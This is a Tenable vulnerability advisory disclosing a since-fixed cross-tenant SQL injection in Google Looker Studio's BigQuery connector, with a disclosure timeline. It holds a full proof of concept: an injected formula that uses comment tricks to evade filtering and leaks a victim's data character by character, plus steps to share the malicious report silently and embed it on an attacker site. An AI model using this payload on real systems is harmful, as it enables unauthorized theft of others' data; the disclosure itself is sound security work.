Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Google Cloud Platform (GCP) Cross-Tenant SQL Injection Vulnerability on Big Query Through Native Functions in Looker Studio

High

Synopsis

Tenable Research has identified and responsibly disclosed a vulnerability in Google's Looker Studio. The vulnerability allowed for unauthorized data exfiltration from a victim's BigQuery data source.

 

By attaching a malicious report to a victim's data source with "Viewer's credentials" and enabling native functions, an attacker could inject SQL code into a calculated field. The core of the exploit involved bypassing Looker Studio's SQL word filtering using comments (e.g., /**/SELECT), which allowed the injection of a custom SQL query. This query could then perform a cross-tenant, blind exfiltration of all accessible BigQuery data by leveraging publicly accessible attacker-controlled tables and GCP logs to leak information character by character. A single click by the victim on the malicious report or the attacker’s website was sufficient to trigger the exploit and compromise their data.

 

Proof of Concept

Set up a mock data source for the getColumns HTTP request:

  • Create a Big Query data set and a table, for example we will name the dataset “attackerdataset” and the table “attackertable”. Alternatively, just choose a public Big Query dataset and table of your choice for that step.

 

Set up the attacker’s Big Query exfiltration tables:

  • Create a BigQuery data set named “attackerdataset”, with tables for each character and number (exfilA, exfilB, exfilC, etc.).
  • Each table has a mock schema and mock columns and rows, so the query won’t error out when selecting the table while exfiltrating the data.

attackerdataset table

  • Share the dataset and tables to allUsers, so cross-tenant users can select them.

 

Set up the attacker’s report:

  • Create a report with the Big Query connector configured to the data source created in the previous step, with a malicious formula.

 

NATIVE_DIMENSION("JSON_VALUE(name, '$.agea') AS clmn10_, (/**/SELECT AS STRUCT name /**/FROM placeholderproject.placeholderdataset.placeholdertable LIMIT 1) AS clmn0_, t0.name AS clmn1_, NULL AS clmn2_, NULL AS clmn3_ /**/FROM placeholderproject.placeholderdataset.placeholdertable AS t0) GROUP BY clmn0_, clmn1_, clmn2_, clmn3_ ORDER BY 2 DESC;BEGIN DECLARE col_names ARRAY<STRING>; DECLARE col_index INT64 DEFAULT 1; DECLARE col_name STRING; DECLARE char_index INT64; DECLARE char STRING; DECLARE dyn_sql STRING; DECLARE row_array ARRAY<STRING>; DECLARE row_idx INT64; DECLARE row_val STRING; DECLARE row_char_index INT64; DECLARE row_char STRING; SET col_names = (/**/SELECT ARRAY_AGG(column_name) /**/FROM placeholderproject.placeholderdataset.INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'placeholdertable' AND data_type = 'STRING'); WHILE col_index <= ARRAY_LENGTH(col_names) DO SET col_name = col_names[ORDINAL(col_index)]; SET char_index = 1; WHILE char_index <= LENGTH(col_name) DO SET char = LOWER(SUBSTR(col_name, char_index, 1)); IF REGEXP_CONTAINS(char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position, '%s' AS source_column /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", char, char, char_index, col_name, char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for column name char '%s' (pos %d) of column '%s'\", char, char, char_index, col_name) AS error_message; END; END IF; SET char_index = char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET dyn_sql = FORMAT(\"\"\" /**/SELECT ARRAY_AGG(CAST(%s AS STRING)) /**/FROM placeholderproject.placeholderdataset.placeholdertable WHERE %s IS NOT NULL \"\"\", col_name, col_name); EXECUTE IMMEDIATE dyn_sql INTO row_array; SET row_idx = 1; WHILE row_idx <= ARRAY_LENGTH(row_array) DO SET row_val = row_array[ORDINAL(row_idx)]; SET row_char_index = 1; WHILE row_char_index <= LENGTH(row_val) DO SET row_char = LOWER(SUBSTR(row_val, row_char_index, 1)); IF REGEXP_CONTAINS(row_char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position_in_value, '%s' AS column_name, '%s' AS full_value /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", row_char, row_char, row_char_index, col_name, row_val, row_char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for row value char '%s' (pos %d) of column '%s'\", row_char, row_char, row_char_index, col_name) AS error_message; END; END IF; SET row_char_index = row_char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET row_idx = row_idx + 1; END WHILE; SET col_index = col_index + 1; END WHILE; END; /**/SELECT COUNT(1) AS t0_qt_m7hbtdzlsd, clmn0_ AS t0_qt_pwfmdd4lsd, clmn1_ /**/FROM ( /**/SELECT (/**/SELECT AS STRUCT 1 AS a) AS clmn0_, t0.name AS clmn1_ /**/FROM `placeholderproject.placeholderdataset.placeholdertable` AS t0 --","INT64")

A screenshot showing where to enter the formula

  • Proxy the HTTP requests and forward the requests, including the getColumns request.
  • Intercept the createBlockDatasource and publishDatasource HTTP requests and change the project name, dataset name, and table name to the victim’s details.
  • Click Resource → Manage added data sources → edit the added Big Query data source, and change the credentials to Viewer Credentials.
  • Click Resource → Manage added data sources → edit the added Big Query data source and enable Native Functions, turn on the proxy, and change the project name, dataset name, and table name to the victim’s details in the HTTP request of the data source re-publication (notice they are present a couple of times in each request).
  • Add a chart to the report, preferably a table, by pressing “Add a chart” and choosing a Table.
  • Choose the added victim’s Big Query data source to be attached to the table chart, the end result should be “No Data Set Access.”
  • Add a calculated field by pressing the table → “Add dimension” → “Add calculated field” and paste the formula attached to this report after filling in the placeholders. 
  • Share the report with the victim, and uncheck the “Notify” checkbox.
  • (Optional) Make the report embeddable by clicking File → Embed report → check “Enable Embedding” and press Done.
  • (Optional) Host a website and iframe the report with the granted iframe when allowing embedding, for example:

 

<iframe width="600" height="450" src="https://lookerstudio.google.com/embed/reporting/ <attacker’s-report-id>/page/MK5LF" frameborder="0" style="border:0" allowfullscreen sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox"></iframe>
  • Visit the attacker’s site as the victim, and the data will be exfiltrated.

The final view

Solution

Google has remediated the issue.

Disclosure Timeline

June 3, 2025 - Tenable reports the finding to Google, Google acknowledges
June 11, 2025 - Google assigns S1 severity
June 26, 2025 - Google awards a bounty
July 2, 2025 - Tenable asks for updates on the fix
July 15, 2025 - Tenable asks for updates
July 17, 2025 - Google updates that the product team is working to resolve the issue
July 28, 2025 - Google updates that the bug is fixed but not yet verified
July 31, 2025 - Tenable agrees to delay the disclosure date while Google is actively working
July 31, 2025 - Google updates that all bugs have been fixed
August 11, 2025 - Google updates that the fix is in production
August 28, 2025 - Google asks to see the TRA draft, Tenable shares it
August 28, 2025 - Tenable delays the publication due to holidays to September 3rd

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2025-27
Credit:
Liv Matan
Affected Products:
GCP Looker Studio
Risk Factor:
High

Advisory Timeline

September 3, 2025 - Initial release.